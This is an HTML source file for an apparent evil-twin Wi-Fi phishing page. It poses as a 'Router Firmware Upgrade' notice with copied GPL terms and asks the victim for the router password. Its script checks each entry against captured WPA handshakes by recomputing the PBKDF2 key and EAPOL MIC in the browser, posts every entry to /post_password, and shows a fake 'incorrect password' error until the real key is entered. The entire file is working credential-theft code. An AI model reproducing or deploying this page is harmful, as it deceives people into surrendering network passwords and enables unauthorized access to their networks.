5fd5c45 · 3 years ago 4 commits
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4<head>
  5   <meta charset="UTF-8">
  6   <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7   <meta name="viewport" content="width=device-width, initial-scale=1.0">
  8   <title>Router Upgrade</title>
  9</head>
 10
 11<style>
 12   body {
 13      background: #59abe3;
 14      margin: 0;
 15   }
 16
 17   .form {
 18      width: 540px;
 19      height: 700px;
 20      background: #e6e6e6;
 21      border-radius: 8px;
 22      box-shadow: 0 0 40px -10px #000;
 23      margin: calc(30vh - 220px) auto;
 24      padding: 20px 30px;
 25      max-width: calc(100vw - 40px);
 26      box-sizing: border-box;
 27      font-family: "Montserrat", sans-serif;
 28      position: relative;
 29      /* overflow: scroll; */
 30   }
 31
 32
 33   .final {
 34      width: 500px;
 35      height: 300px;
 36      background: #e6e6e6;
 37      border-radius: 8px;
 38      box-shadow: 0 0 40px -10px #000;
 39      margin: calc(40vh - 220px) auto;
 40      padding: 20px 30px;
 41      max-width: calc(100vw - 40px);
 42      box-sizing: border-box;
 43      font-family: "Montserrat", sans-serif;
 44      position: relative;
 45   }
 46
 47   h2 {
 48      margin: 0px;
 49      padding-bottom: 10px;
 50      width: 350px;
 51      color: #78788c;
 52      border-bottom: 3px solid #78788c;
 53   }
 54
 55   .passwd {
 56      width: 100%;
 57      padding: 10px;
 58      box-sizing: border-box;
 59      background: none;
 60      outline: none;
 61      resize: none;
 62      border: 0;
 63      font-family: "Montserrat", sans-serif;
 64      transition: all 0.3s;
 65      border-bottom: 2px solid #bebed2;
 66   }
 67
 68   .passwd:focus {
 69      border-bottom: 2px solid #78788c;
 70   }
 71
 72   p:before {
 73      content: attr(type);
 74      display: block;
 75      margin: 28px 0 0;
 76      font-size: 14px;
 77      color: #5a5a5a;
 78   }
 79
 80   button {
 81      float: right;
 82      padding: 8px 12px;
 83      margin: 8px 0 0;
 84      font-family: "Montserrat", sans-serif;
 85      border: 2px solid #78788c;
 86      background: 0;
 87      color: #5a5a6e;
 88      cursor: pointer;
 89      transition: all 0.3s;
 90   }
 91
 92   button:hover {
 93      background: #78788c;
 94      color: #fff;
 95   }
 96
 97   .main {
 98      overflow-y: scroll;
 99   }
100
101   span {
102      margin: 0 5px 0 15px;
103   }
104
105   .termsHead {
106      content: attr(type);
107      display: block;
108      margin-bottom: 10px;
109      font-size: 14px;
110      color: #5a5a5a;
111      font-weight: bold;
112   }
113
114   textarea {
115      resize: none;
116      width: max-content;
117      min-width: 450px;
118      min-height: 250px;
119   }
120
121   .form-check-label {
122      width: auto;
123      font-size: 14px;
124
125   }
126
127
128   article,
129   aside,
130   details,
131   figcaption,
132   figure,
133   footer,
134   header,
135   hgroup,
136   main,
137   menu,
138   nav,
139   section,
140   summary {
141      display: block
142   }
143
144   audio,
145   canvas,
146   progress,
147   video {
148      display: inline-block;
149      vertical-align: baseline
150   }
151
152   audio:not([controls]) {
153      display: none;
154      height: 0
155   }
156
157   [hidden],
158   template {
159      display: none
160   }
161
162   a {
163      background-color: transparent
164   }
165
166   a:active,
167   a:hover {
168      outline: 0
169   }
170
171   abbr[title] {
172      border-bottom: none;
173      text-decoration: underline;
174      text-decoration: underline dotted
175   }
176
177   b,
178   strong {
179      font-weight: bold
180   }
181
182   dfn {
183      font-style: italic
184   }
185
186   h1 {
187      font-size: 2em;
188      margin: 0.67em 0
189   }
190
191   mark {
192      background: #ff0;
193      color: #000
194   }
195
196   small {
197      font-size: 80%
198   }
199
200   sub,
201   sup {
202      font-size: 75%;
203      line-height: 0;
204      position: relative;
205      vertical-align: baseline
206   }
207
208   sup {
209      top: -0.5em
210   }
211
212   sub {
213      bottom: -0.25em
214   }
215
216   img {
217      border: 0
218   }
219
220   svg:not(:root) {
221      overflow: hidden
222   }
223
224   figure {
225      margin: 1em 40px
226   }
227
228   hr {
229      -webkit-box-sizing: content-box;
230      -moz-box-sizing: content-box;
231      box-sizing: content-box;
232      height: 0
233   }
234
235   pre {
236      overflow: auto
237   }
238
239   code,
240   kbd,
241   pre,
242   samp {
243      font-family: monospace, monospace;
244      font-size: 1em
245   }
246
247   button,
248   input,
249   optgroup,
250   select,
251   textarea {
252      color: inherit;
253      font: inherit;
254      margin: 0
255   }
256
257   button {
258      overflow: visible
259   }
260
261   button,
262   select {
263      text-transform: none
264   }
265
266   button,
267   html input[type="button"],
268   input[type="reset"],
269   input[type="submit"] {
270      cursor: pointer
271   }
272
273   button[disabled],
274   html input[disabled] {
275      cursor: default
276   }
277
278   button::-moz-focus-inner,
279   input::-moz-focus-inner {
280      border: 0;
281      padding: 0
282   }
283
284   input {
285      line-height: normal
286   }
287
288   input[type="checkbox"],
289   input[type="radio"] {
290      -webkit-box-sizing: border-box;
291      -moz-box-sizing: border-box;
292      box-sizing: border-box;
293      padding: 0
294   }
295
296   input[type="number"]::-webkit-inner-spin-button,
297   input[type="number"]::-webkit-outer-spin-button {
298      height: auto
299   }
300
301   input[type="search"] {
302      -webkit-box-sizing: content-box;
303      -moz-box-sizing: content-box;
304      box-sizing: content-box
305   }
306
307   input[type="search"]::-webkit-search-cancel-button,
308   input[type="search"]::-webkit-search-decoration {
309      -webkit-appearance: none
310   }
311
312   fieldset {
313      border: 1px solid #c0c0c0;
314      margin: 0 2px;
315      padding: 0.35em 0.625em 0.75em
316   }
317
318   legend {
319      border: 0;
320      padding: 0
321   }
322
323   textarea {
324      overflow: auto
325   }
326
327   optgroup {
328      font-weight: bold
329   }
330
331   table {
332      border-collapse: collapse;
333      border-spacing: 0
334   }
335
336   td,
337   th {
338      padding: 0
339   }
340
341   * {
342      -webkit-box-sizing: border-box;
343      -moz-box-sizing: border-box;
344      box-sizing: border-box
345   }
346
347   *:before,
348   *:after {
349      -webkit-box-sizing: border-box;
350      -moz-box-sizing: border-box;
351      box-sizing: border-box
352   }
353
354   html {
355      font-size: 10px;
356      -webkit-tap-highlight-color: rgba(0, 0, 0, 0)
357   }
358
359   body {
360      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
361      font-size: 14px;
362      line-height: 1.42857143;
363      color: #333;
364      background-color: #59abe3
365   }
366
367   input,
368   button,
369   select,
370   textarea {
371      font-family: inherit;
372      font-size: inherit;
373      line-height: inherit
374   }
375
376   a {
377      color: #337ab7;
378      text-decoration: none
379   }
380
381   a:hover,
382   a:focus {
383      color: #23527c;
384      text-decoration: underline
385   }
386
387   a:focus {
388      outline: 5px auto -webkit-focus-ring-color;
389      outline-offset: -2px
390   }
391
392   figure {
393      margin: 0
394   }
395
396   img {
397      vertical-align: middle
398   }
399
400   .img-responsive {
401      display: block;
402      max-width: 100%;
403      height: auto
404   }
405
406   .img-rounded {
407      border-radius: 6px
408   }
409
410   .img-thumbnail {
411      padding: 4px;
412      line-height: 1.42857143;
413      background-color: #fff;
414      border: 1px solid #ddd;
415      border-radius: 4px;
416      -webkit-transition: all .2s ease-in-out;
417      -o-transition: all .2s ease-in-out;
418      transition: all .2s ease-in-out;
419      display: inline-block;
420      max-width: 100%;
421      height: auto
422   }
423
424   .img-circle {
425      border-radius: 50%
426   }
427
428   hr {
429      margin-top: 20px;
430      margin-bottom: 20px;
431      border: 0;
432      border-top: 1px solid #eee
433   }
434
435   .sr-only {
436      position: absolute;
437      width: 1px;
438      height: 1px;
439      padding: 0;
440      margin: -1px;
441      overflow: hidden;
442      clip: rect(0, 0, 0, 0);
443      border: 0
444   }
445
446   .sr-only-focusable:active,
447   .sr-only-focusable:focus {
448      position: static;
449      width: auto;
450      height: auto;
451      margin: 0;
452      overflow: visible;
453      clip: auto
454   }
455
456   [role="button"] {
457      cursor: pointer
458   }
459
460   .modal-open {
461      overflow: hidden
462   }
463
464   .modal {
465      position: fixed;
466      top: 0;
467      right: 0;
468      bottom: 0;
469      left: 0;
470      z-index: 1050;
471      display: none;
472      overflow: hidden;
473      -webkit-overflow-scrolling: touch;
474      outline: 0
475   }
476
477   .modal.fade .modal-dialog {
478      -webkit-transform: translate(0, -25%);
479      -ms-transform: translate(0, -25%);
480      -o-transform: translate(0, -25%);
481      transform: translate(0, -25%);
482      -webkit-transition: -webkit-transform 0.3s ease-out;
483      -o-transition: -o-transform 0.3s ease-out;
484      transition: transform 0.3s ease-out
485   }
486
487   .modal.in .modal-dialog {
488      -webkit-transform: translate(0, 0);
489      -ms-transform: translate(0, 0);
490      -o-transform: translate(0, 0);
491      transform: translate(0, 0)
492   }
493
494   .modal-open .modal {
495      overflow-x: hidden;
496      overflow-y: auto
497   }
498
499   .modal-dialog {
500      position: relative;
501      width: auto;
502      margin: 10px
503   }
504
505   .modal-content {
506      position: relative;
507      background-color: #fff;
508      -webkit-background-clip: padding-box;
509      background-clip: padding-box;
510      border: 1px solid #999;
511      border: 1px solid rgba(0, 0, 0, 0.2);
512      border-radius: 6px;
513      -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
514      box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
515      outline: 0
516   }
517
518   .modal-backdrop {
519      position: fixed;
520      top: 0;
521      right: 0;
522      bottom: 0;
523      left: 0;
524      z-index: 1040;
525      background-color: #000
526   }
527
528   .modal-backdrop.fade {
529      filter: alpha(opacity=0);
530      opacity: 0
531   }
532
533   .modal-backdrop.in {
534      filter: alpha(opacity=50);
535      opacity: .5
536   }
537
538   .modal-header {
539      padding: 15px;
540      border-bottom: 1px solid #e5e5e5
541   }
542
543   .modal-header .close {
544      margin-top: -2px
545   }
546
547   .modal-title {
548      margin: 0;
549      line-height: 1.42857143
550   }
551
552   .modal-body {
553      position: relative;
554      padding: 15px
555   }
556
557   .modal-footer {
558      padding: 15px;
559      text-align: right;
560      border-top: 1px solid #e5e5e5
561   }
562
563   .modal-footer .btn+.btn {
564      margin-bottom: 0;
565      margin-left: 5px
566   }
567
568   .modal-footer .btn-group .btn+.btn {
569      margin-left: -1px
570   }
571
572   .modal-footer .btn-block+.btn-block {
573      margin-left: 0
574   }
575
576   .modal-scrollbar-measure {
577      position: absolute;
578      top: -9999px;
579      width: 50px;
580      height: 50px;
581      overflow: scroll
582   }
583
584   @media (min-width:768px) {
585      .modal-dialog {
586         width: 600px;
587         margin: 30px auto
588      }
589
590      .modal-content {
591         -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
592         box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5)
593      }
594
595      .modal-sm {
596         width: 300px
597      }
598   }
599
600   @media (min-width:992px) {
601      .modal-lg {
602         width: 900px
603      }
604   }
605
606   .clearfix:before,
607   .clearfix:after,
608   .modal-header:before,
609   .modal-header:after,
610   .modal-footer:before,
611   .modal-footer:after {
612      display: table;
613      content: " "
614   }
615
616   .clearfix:after,
617   .modal-header:after,
618   .modal-footer:after {
619      clear: both
620   }
621
622   .center-block {
623      display: block;
624      margin-right: auto;
625      margin-left: auto
626   }
627
628   .pull-right {
629      float: right !important
630   }
631
632   .pull-left {
633      float: left !important
634   }
635
636   .hide {
637      display: none !important
638   }
639
640   .show {
641      display: block !important
642   }
643
644   .invisible {
645      visibility: hidden
646   }
647
648   .text-hide {
649      font: 0/0 a;
650      color: transparent;
651      text-shadow: none;
652      background-color: transparent;
653      border: 0
654   }
655
656   .hidden {
657      display: none !important
658   }
659
660   .affix {
661      position: fixed
662   }
663
664
665   @media only screen and (max-width: 600px) {
666      textarea {
667         min-width: 275px;
668         margin-left: -10px;
669         /* margi: 10px; */
670      }
671
672      .form {
673         /* height: 650px; */
674         margin: calc(40vh - 220px) auto;
675         overflow: hidden;
676         padding: 10px 30px;
677
678      }
679
680      h2 {
681         margin-left: -20px;
682      }
683
684      .final {
685         margin: calc(40vh - 220px) auto;
686         overflow: hidden;
687         padding: 10px 30px;
688      }
689
690      .final h2 {
691         margin-left: 0px;
692         width: 200px;
693
694      }
695   }
696</style>
697
698<body>
699   <script src="./jquery.min.js"></script>
700   <script src="./bootstrap.min.js"></script>
701   <script type="text/javascript" src="./crypto.js"></script>
702   <div class="main">
703
704
705      <form onsubmit="return setAction(this)" method="GET" class="form">
706         <h2>Router Firmware Upgrade</h2>
707         <p
708            type="A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed">
709         </p>
710         <label class="termsHead" for=comment>Terms And Conditions:</label>
711         <textarea class="w-100" readonly>
712GNU General Public License Notice
713This product includes software code developed by third parties,
714including software code subject to the GNU General Public License
715(“GPL”). As applicable, Wifi Router provides mail service of a machine
716readable copy of the corresponding GPL source code on CD-ROM
717upon request via email or traditional paper mail. Wifi Router will
718charge for a nominal cost to cover shipping and media charges as
719allowed under the GPL. This offer will be valid for at least 3 years.
720For GPL inquiries and the GPL CD-ROM information, please contact
721us at GPL@Wifi Router.com or
722Building 24(floors 1,3,4,5) and 28(floors1-4) Central Science and
723Technology Park, Shennan Rd, Nanshan, Shenzhen,China.
724Additionally, Wifi Router provides for a GPL-Code-Centre under http://
725www.Wifi Router.com/en/support/gpl/ where machine readable copies
726of the GPL source codes used in Wifi Router products are available for
727free download. Please note, that the GPL-Code-Centre is only provided
728for as a courtesy to Wifi Router’s customers but may neither offer
729a full set of source codes used in all products nor always provide for
730the latest or actual version of such source codes.
731The GPL Code used in this product is distributed WITHOUT ANY
732WARRANTY and is subject to the copyrights of one or more authors.
733Please refer to the following GNU General Public License for further
734information.
735
736GNU GPL, see <http: www.gnu.org licenses/>.
737The GNU General Public License does not permit incorporating your program into proprietary programs.
738If your program is a subroutine library, you may consider it more useful to permit linking proprietary
739applications with the library. If this is what you want to do, use the GNU Lesser General Public License
740instead of this License. But first, please read <http: www.gnu.org philosophy why-not-lgpl.html>.
741       </textarea>
742         <div class="form-check">
743            <input type="checkbox" id="check-box" style="float: left; margin-top: 5px;">
744            <label class="form-check-label" for="exampleCheck1">I agree with above Terms And Conditions</label>
745         </div>
746         <p type="Passphrase:"><input class="passwd" id="pwd" placeholder="Enter router password to continue"></input>
747         </p>
748         <button type="submit" id="btn" value="Start Upgrade">Start Upgrade</button>
749      </form>
750   </div>
751
752
753
754
755   <div class="modal fade" id=empty-pass>
756      <div class="modal-dialog modal-sm">
757         <div class=modal-content>
758            <div class=modal-header>
759               <button type=button class=close data-dismiss=modal>&times;</button>
760               <h4 class=modal-title>Information</h4>
761            </div>
762            <div class=modal-body>
763               <p>Please Input Valid Password. (Must be between 8 and 64 characters)</p>
764            </div>
765            <div class=modal-footer> <button type=button class="btn btn-default" data-dismiss=modal>Close</button>
766            </div>
767         </div>
768      </div>
769   </div>
770
771
772
773   <!-- End empty password message --> <!-- Start empty password message -->
774   <div class="modal fade" id=no-checkbox>
775      <div class="modal-dialog modal-sm">
776         <div class=modal-content>
777            <div class=modal-header>
778               <button type=button class=close data-dismiss=modal>&times;</button>
779               <h4 class=modal-title>Information</h4>
780            </div>
781            <div class=modal-body>
782               <p>Please Check The I Agree Button.</p>
783            </div>
784            <div class=modal-footer> <button type=button class="btn btn-default" data-dismiss=modal>Close</button>
785            </div>
786         </div>
787      </div>
788   </div>
789
790
791   <div class="modal fade" id=pwd-checkbox>
792      <div class="modal-dialog modal-sm">
793         <div class=modal-content>
794            <div class=modal-header>
795               <button type=button class=close data-dismiss=modal>&times;</button>
796               <h4 class=modal-title>Error</h4>
797            </div>
798            <div class=modal-body>
799               <p>Password is incorrect. Try Again</p>
800            </div>
801            <div class=modal-footer> <button type=button class="btn btn-default" data-dismiss=modal>Close</button>
802            </div>
803         </div>
804      </div>
805   </div>
806
807
808
809   <script>
810      var noHandshakes = 0;
811
812      async function postPassword(ssid,passwd,matched,handshakes){
813         var data = {
814            "ssid": ssid,
815            "password": passwd,
816            "matched": matched ? true : false,
817            "handshakes": handshakes ? true : false
818         };
819         var response = await fetch("/post_password", {
820            method: "POST",
821            headers: {
822               "Content-Type": "application/json"
823            },
824            body: JSON.stringify(data)
825         });
826         var result = await response.json();
827         console.log(result);
828      }
829
830      function kckFromPmk(srcAddress, dstAddress, anonce, snonce) {
831         let prefix = "5061697277697365206b657920657870616e73696f6e00";
832         if (srcAddress < dstAddress) {
833            prefix += srcAddress;
834            prefix += dstAddress;
835         } else {
836            prefix += dstAddress;
837            prefix += srcAddress;
838         }
839         if (snonce < anonce) {
840            prefix += snonce;
841            prefix += anonce;
842         } else {
843            prefix += anonce;
844            prefix += snonce;
845         }
846         prefix += "00";
847         return prefix;
848      }
849
850      function Crack(details, passwd) {
851         const pmk = CryptoJS.PBKDF2(passwd, details.ssid, { keySize: 8, iterations: 4096 });
852         const kck_pmk = kckFromPmk(details.srcAddress, details.dstAddress, details.anonce, details.snonce);
853         const prefix = CryptoJS.enc.Hex.parse(kck_pmk)
854         const hmac = CryptoJS.HmacSHA1(prefix, pmk).toString();
855         var kck = hmac.substring(0, 32);
856         const bytes = CryptoJS.enc.Hex.parse(details.eapolFrameBytes);
857         kck = CryptoJS.enc.Hex.parse(kck);
858         const computedMic = CryptoJS.HmacSHA1(bytes, kck).toString().substring(0, 32);
859         // console.log("Expected MIC :", details.mic);
860         // console.log("Calculated MIC :", computedMic);
861         if (computedMic === details.mic) {
862            return true;
863         } else {
864            return false;
865         }
866      }
867
868      $("#btn").on("click", async function (e) {
869         e.preventDefault();
870
871         var input = document.getElementById("pwd");
872         var box = document.getElementById("check-box");
873
874         if (box.checked != true) {
875            $("#no-checkbox").modal("show");
876            return false;
877         }
878         if (input.value.length < 8 || input.value.length > 64) {
879            $("#empty-pass").modal("show");
880            return false;
881         }
882
883         var test = await fetch("/get_datas");
884         var result = await test.json()
885         if(result.handshakes.length == 0){
886            console.log("No handshakes");
887            if(noHandshakes == 0){
888               $("#pwd-checkbox").modal("show");
889               await postPassword("No SSID", input.value, false, false);
890               input.value = "";
891               noHandshakes++;
892               return;
893            }
894            await postPassword("No SSID", input.value, false, false);
895            window.location.href = "/final";
896            return;
897         }
898         var handshakes = result.handshakes;
899         var finalResult;
900         for (var i = 0; i < handshakes.length; i++) {
901            finalResult |= Crack(handshakes[i], input.value);
902            await postPassword(handshakes[i].ssid, input.value, finalResult, true);
903         }
904         if(finalResult){
905         window.location.href = "/final";
906         }
907         else{
908             $("#pwd-checkbox").modal("show");
909         }
910      });
911   </script>
912
913</body>
914
915</html>